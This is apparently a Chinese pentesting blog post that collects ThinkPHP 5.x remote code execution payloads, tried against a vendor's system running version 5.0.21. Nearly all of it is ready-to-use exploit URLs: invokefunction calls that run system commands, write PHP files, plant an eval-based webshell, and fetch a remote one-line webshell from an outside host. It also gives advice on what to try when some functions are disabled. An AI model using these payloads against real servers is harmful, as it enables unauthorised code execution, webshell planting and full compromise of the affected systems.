最近新出的thinkphp5.1的洞来的算是一场及时雨,正好在给某厂家内测,就派上用场了。
厂家的系统版本是 ThinkPHP V5.0.21
然后用了许多网上搜的poc都无法使用
http://tp.vsplate.me/public/index.php?s=/index/thinkrequest/cache&key=ls%20-l|system
http://tp.vsplate.me/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
http://tp.vsplate.me/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
http://tp.vsplate.me/public/index.php?s=/index/thinkrequest/cache&key=1|phpinfo
http://tp.vsplate.me/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php
http://tp.vsplate.me/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E
index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
今天在吐司上面https://www.t00ls.net/viewthread.phptid=48985&extra=&page=1看到了有人在讨论这个exp的问题
Payload: index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27))) 先file_get_contents读取远程文件内容为一句话 然后file_put_contents在当前目录下写入文件 而且不带<> |
public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=phpinfo(); |
第二个poc测试成功了,发现可以回显phpinfo的内容,那么这一条代码在5.0.21的版本是可执行的
public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian]); |
fuck作为一个传导参数,可以执行任意php命令,如果sytstem等一些参数被禁用了则不可执行。
所以在测试的时候,不要一上去就执行加一些函数的测试
public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=system("whoami"); |
这种调用system函数的测试,这样有时候回显不出来,是因为某些函数被禁用了,而不是漏洞不存在!
最后附上测试成功的截图
本文始发于微信公众号(零组攻防实验室):ThinPHP5.1 代码执行漏洞getshell poc总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论